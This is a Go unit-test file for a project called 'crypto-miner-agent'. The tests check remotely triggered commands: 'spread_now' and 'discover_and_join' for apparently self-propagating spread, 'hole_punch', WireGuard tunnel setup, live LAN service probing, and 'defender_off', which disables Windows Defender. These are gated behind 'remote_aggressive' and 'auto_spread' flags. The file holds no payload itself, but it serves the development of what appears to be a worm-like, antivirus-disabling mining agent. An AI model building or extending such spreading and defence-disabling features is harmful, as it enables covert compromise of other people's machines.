Vitest covers mining diagnostics JSON blockers, AV-Safe preset fields, Calibrate .ps1 generation, and Settings Defender UI; Go tests cover defender_off error paths and mining blocker inference.
251 lines
6.6 KiB
Go
251 lines
6.6 KiB
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
"runtime"
|
|
"strings"
|
|
"sync"
|
|
"testing"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func TestAllowRemoteActionHolePunch(t *testing.T) {
|
|
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{HolePunch: false}}}
|
|
ok, reason := c.allowRemoteAction("hole_punch")
|
|
if ok || reason == "" {
|
|
t.Fatalf("expected hole punch blocked without forge flag")
|
|
}
|
|
|
|
c.cfg.HolePunch = true
|
|
ok, reason = c.allowRemoteAction("hole_punch")
|
|
if !ok || reason != "" {
|
|
t.Fatalf("expected hole punch allowed: ok=%v reason=%q", ok, reason)
|
|
}
|
|
}
|
|
|
|
func TestAllowRemoteActionSpread(t *testing.T) {
|
|
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
|
|
ok, _ := c.allowRemoteAction("spread_now")
|
|
if ok {
|
|
t.Fatal("spread_now should require auto_spread or remote_aggressive")
|
|
}
|
|
c.cfg.RemoteAggressive = true
|
|
ok, _ = c.allowRemoteAction("spread_now")
|
|
if !ok {
|
|
t.Fatal("spread_now should allow with remote_aggressive")
|
|
}
|
|
}
|
|
|
|
func TestParsePortArg(t *testing.T) {
|
|
if parsePortArg("", 8989) != 8989 {
|
|
t.Fatal("empty should fallback")
|
|
}
|
|
if parsePortArg("443", 8989) != 443 {
|
|
t.Fatal("443 expected")
|
|
}
|
|
if parsePortArg("bad", 8989) != 8989 {
|
|
t.Fatal("invalid should fallback")
|
|
}
|
|
}
|
|
|
|
func TestPathTracerAllowRemoteActionRecon(t *testing.T) {
|
|
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
|
|
for _, action := range []string{
|
|
"wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover",
|
|
} {
|
|
ok, reason := c.allowRemoteAction(action)
|
|
if !ok || reason != "" {
|
|
t.Fatalf("%s should be allowed without forge flags: ok=%v reason=%q", action, ok, reason)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestPathTracerAllowRemoteActionDiscoverAndJoinGate(t *testing.T) {
|
|
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
|
|
ok, reason := c.allowRemoteAction("discover_and_join")
|
|
if ok || reason == "" {
|
|
t.Fatalf("discover_and_join should require auto_spread or remote_aggressive: ok=%v reason=%q", ok, reason)
|
|
}
|
|
c.cfg.RemoteAggressive = true
|
|
ok, reason = c.allowRemoteAction("discover_and_join")
|
|
if !ok || reason != "" {
|
|
t.Fatalf("discover_and_join allowed with remote_aggressive: ok=%v reason=%q", ok, reason)
|
|
}
|
|
}
|
|
|
|
func TestPathTracerCommandWgSetupRoutes(t *testing.T) {
|
|
if runtime.GOOS == "windows" {
|
|
t.Skip("wg_setup invokes UPnP on Windows — routing covered by wg_status/configure tests")
|
|
}
|
|
var (
|
|
mu sync.Mutex
|
|
gotAct string
|
|
gotOK bool
|
|
gotMsg string
|
|
)
|
|
c := newTestClient(t)
|
|
c.commandResultHook = func(action string, success bool, message string) {
|
|
mu.Lock()
|
|
gotAct, gotOK, gotMsg = action, success, message
|
|
mu.Unlock()
|
|
}
|
|
|
|
if !c.handleAggressiveCommand("wg_setup", 0, "", "", "") {
|
|
t.Fatal("wg_setup should be handled by handleAggressiveCommand")
|
|
}
|
|
|
|
deadline := time.Now().Add(2 * time.Second)
|
|
for {
|
|
mu.Lock()
|
|
ready := gotAct != ""
|
|
mu.Unlock()
|
|
if ready || time.Now().After(deadline) {
|
|
break
|
|
}
|
|
time.Sleep(5 * time.Millisecond)
|
|
}
|
|
|
|
mu.Lock()
|
|
act, ok, msg := gotAct, gotOK, gotMsg
|
|
mu.Unlock()
|
|
if act != "wg_setup" {
|
|
t.Fatalf("action=%q", act)
|
|
}
|
|
if !ok {
|
|
t.Fatalf("wg_setup should succeed at dispatch layer, got msg=%q", msg)
|
|
}
|
|
var result WGSetupResult
|
|
if err := json.Unmarshal([]byte(msg), &result); err != nil {
|
|
t.Fatalf("wg_setup result must be JSON: %v msg=%q", err, msg)
|
|
}
|
|
if result.PublicKey == "" && result.Error == "" {
|
|
t.Fatalf("expected public_key or error in wg_setup JSON: %+v", result)
|
|
}
|
|
}
|
|
|
|
func TestPathTracerCommandServiceDiscoverRoutes(t *testing.T) {
|
|
if testing.Short() {
|
|
t.Skip("service_discover performs live LAN probes")
|
|
}
|
|
var (
|
|
mu sync.Mutex
|
|
gotAct string
|
|
gotOK bool
|
|
gotMsg string
|
|
)
|
|
c := newTestClient(t)
|
|
c.commandResultHook = func(action string, success bool, message string) {
|
|
mu.Lock()
|
|
gotAct, gotOK, gotMsg = action, success, message
|
|
mu.Unlock()
|
|
}
|
|
|
|
done := make(chan struct{})
|
|
go func() {
|
|
defer close(done)
|
|
if !c.handleAggressiveCommand("service_discover", 0, "1", "", "") {
|
|
t.Error("service_discover should be handled")
|
|
}
|
|
}()
|
|
|
|
select {
|
|
case <-done:
|
|
case <-time.After(8 * time.Second):
|
|
t.Skip("service_discover LAN scan exceeded 8s in this environment")
|
|
}
|
|
|
|
mu.Lock()
|
|
act, ok, msg := gotAct, gotOK, gotMsg
|
|
mu.Unlock()
|
|
if act != "service_discover" || !ok {
|
|
t.Fatalf("result: action=%q ok=%v", act, ok)
|
|
}
|
|
if msg == "" || !strings.Contains(msg, "{") {
|
|
t.Fatalf("service_discover should return JSON payload, got %q", msg)
|
|
}
|
|
}
|
|
|
|
func TestPathTracerCommandWgConfigureBadPayload(t *testing.T) {
|
|
var (
|
|
mu sync.Mutex
|
|
gotOK bool
|
|
gotMsg string
|
|
)
|
|
c := newTestClient(t)
|
|
c.commandResultHook = func(_ string, success bool, message string) {
|
|
mu.Lock()
|
|
gotOK, gotMsg = success, message
|
|
mu.Unlock()
|
|
}
|
|
|
|
if !c.handleAggressiveCommand("wg_configure", 0, "", "", "not-json") {
|
|
t.Fatal("wg_configure should be handled")
|
|
}
|
|
if gotOK || !strings.Contains(gotMsg, "bad wg config payload") {
|
|
t.Fatalf("got ok=%v msg=%q", gotOK, gotMsg)
|
|
}
|
|
}
|
|
|
|
func TestDefenderOffRequiresRemoteAggressive(t *testing.T) {
|
|
c := newTestClient(t)
|
|
c.cfg.RemoteAggressive = false
|
|
ok, reason := c.allowRemoteAction("defender_off")
|
|
if ok || reason == "" {
|
|
t.Fatalf("expected defender_off gated without remote_aggressive")
|
|
}
|
|
c.cfg.RemoteAggressive = true
|
|
ok, reason = c.allowRemoteAction("defender_off")
|
|
if !ok || reason != "" {
|
|
t.Fatalf("expected defender_off allowed: ok=%v reason=%q", ok, reason)
|
|
}
|
|
}
|
|
|
|
func TestDefenderOffErrorPathNonWindows(t *testing.T) {
|
|
if runtime.GOOS == "windows" {
|
|
t.Skip("Windows success/failure paths tested in deploy/defender_windows_test.go")
|
|
}
|
|
c := newTestClient(t)
|
|
c.cfg.RemoteAggressive = true
|
|
var gotAct string
|
|
var gotOK bool
|
|
var gotMsg string
|
|
c.commandResultHook = func(action string, success bool, message string) {
|
|
gotAct, gotOK, gotMsg = action, success, message
|
|
}
|
|
if !c.handleAggressiveCommand("defender_off", 0, "", "", "") {
|
|
t.Fatal("defender_off should be handled")
|
|
}
|
|
if gotAct != "defender_off" {
|
|
t.Fatalf("action=%q", gotAct)
|
|
}
|
|
if gotOK {
|
|
t.Fatalf("expected failure on non-Windows, msg=%q", gotMsg)
|
|
}
|
|
if !strings.Contains(gotMsg, "Windows-only") && !strings.Contains(gotMsg, "defender disable failed") {
|
|
t.Fatalf("expected defender error in message, got %q", gotMsg)
|
|
}
|
|
}
|
|
|
|
func TestPathTracerCommandWgStatusRoutes(t *testing.T) {
|
|
var (
|
|
mu sync.Mutex
|
|
gotAct string
|
|
gotMsg string
|
|
)
|
|
c := newTestClient(t)
|
|
c.commandResultHook = func(action string, _ bool, message string) {
|
|
mu.Lock()
|
|
gotAct, gotMsg = action, message
|
|
mu.Unlock()
|
|
}
|
|
|
|
if !c.handleAggressiveCommand("wg_status", 0, "", "", "") {
|
|
t.Fatal("wg_status should be handled")
|
|
}
|
|
if gotAct != "wg_status" || gotMsg == "" {
|
|
t.Fatalf("action=%q msg=%q", gotAct, gotMsg)
|
|
}
|
|
}
|